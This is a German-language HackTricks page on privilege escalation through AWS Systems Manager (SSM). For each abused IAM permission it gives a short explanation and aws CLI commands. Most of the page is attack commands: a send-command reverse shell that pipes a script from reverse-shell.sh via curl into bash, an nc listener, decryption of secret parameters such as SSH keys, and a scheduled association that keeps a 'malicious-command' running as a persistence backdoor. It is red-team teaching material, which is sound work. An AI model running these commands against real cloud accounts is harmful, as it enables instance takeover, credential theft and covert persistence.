AWS - SSM Privesc

Reading time: 6 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

SSM

Für mehr Informationen zu SSM siehe:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

Ein Angreifer mit der Berechtigung ssm:SendCommand kann Befehle auf Instanzen ausführen, auf denen der Amazon SSM Agent läuft, und dadurch die IAM Role innerhalb dieser Instanz kompromittieren.

bash
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

Falls Sie diese Technik verwenden, um innerhalb einer bereits kompromittierten EC2-Instanz Privilegien zu eskalieren, können Sie die rev shell einfach lokal mit folgendem Befehl abfangen:

bash
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Mögliche Auswirkungen: Direkter privesc auf EC2 IAM Roles, die an laufende Instanzen angehängt sind, auf denen der Amazon SSM Agent läuft.

ssm:StartSession

Ein Angreifer mit der Berechtigung ssm:StartSession kann eine SSH-ähnliche Session auf Instanzen starten, auf denen der Amazon SSM Agent läuft, und damit die darin laufende IAM Role kompromittieren.

bash
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

caution

Um eine Sitzung zu starten, müssen Sie das SessionManagerPlugin installiert haben: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Mögliche Auswirkungen: Direkter privesc zu den EC2 IAM roles, die an laufende Instanzen mit aktivierten SSM Agents angehängt sind.

Privesc auf ECS

Wenn ECS tasks mit aktiviertem ExecuteCommand laufen, können Benutzer mit ausreichenden Berechtigungen ecs execute-command verwenden, um einen Befehl innerhalb des Containers auszuführen.
Laut the documentation geschieht dies, indem ein sicherer Kanal zwischen dem Gerät, mit dem Sie den „exec“-Befehl initiieren, und dem Zielcontainer über SSM Session Manager hergestellt wird. (SSM Session Manager Plugin erforderlich, damit dies funktioniert)
Daher können Benutzer mit ssm:StartSession bei aktivierter Option einfach get a shell inside ECS tasks erhalten, indem sie Folgendes ausführen:

bash
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Mögliche Auswirkung: Direkter privesc auf die ECS IAM-Rollen, die an laufende Tasks mit aktiviertem ExecuteCommand angehängt sind.

ssm:ResumeSession

Ein Angreifer mit der Berechtigung ssm:ResumeSession kann eine SSH-ähnliche Sitzung in Instanzen, die den Amazon SSM Agent ausführen, re-starten, wenn die SSM-Sitzung den Zustand disconnected hat, und die darin laufende IAM Role compromise.

bash
# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Potential Impact: Direkter privesc auf die EC2 IAM roles, die an laufende Instanzen mit SSM Agents angehängt sind, insbesondere bei getrennten Sessions.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

Ein Angreifer mit den genannten Berechtigungen kann die SSM-Parameter auflisten und im Klartext lesen. In diesen Parametern findet man häufig sensible Informationen wie SSH-Keys oder API-Keys.

bash
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Mögliche Auswirkungen: Sensible Informationen in den Parametern finden.

ssm:ListCommands

Ein Angreifer mit dieser Berechtigung kann alle gesendeten commands auflisten und hoffentlich sensible Informationen darin finden.

aws ssm list-commands

Potentielle Auswirkungen: Sensible Informationen in den Befehlszeilen finden.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

Ein Angreifer mit diesen Berechtigungen kann alle gesendeten commands auflisten und die erzeugte Ausgabe lesen, um hoffentlich sensible Informationen darin zu finden.

bash
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Potentielle Auswirkungen: Sensible Informationen in der Ausgabe von Befehlen finden.

Verwendung von ssm:CreateAssociation

Ein Angreifer mit der Berechtigung ssm:CreateAssociation kann eine State Manager Association erstellen, um Befehle automatisch auf von SSM verwalteten EC2-Instanzen auszuführen. Diese Associations können so konfiguriert werden, dass sie in festen Intervallen laufen, wodurch sie sich für backdoor-like persistence ohne interaktive Sitzungen eignen.

bash
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name

note

Diese Persistenzmethode funktioniert, solange die EC2-Instanz von Systems Manager verwaltet wird, der SSM-Agent läuft und der Angreifer die Berechtigung hat, associations zu erstellen. Sie erfordert keine interaktiven Sessions oder expliziten ssm:SendCommand-Berechtigungen. Wichtig: Der --schedule-expression-Parameter (z. B. rate(30 minutes)) muss das AWS-Mindestintervall von 30 Minuten einhalten. Für eine sofortige oder einmalige Ausführung lassen Sie --schedule-expression vollständig weg — die association wird einmal nach der Erstellung ausgeführt.

Codebuild

Sie können SSM auch verwenden, um Zugriff auf ein gerade gebautes codebuild-Projekt zu erhalten:

AWS - Codebuild Privesc

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks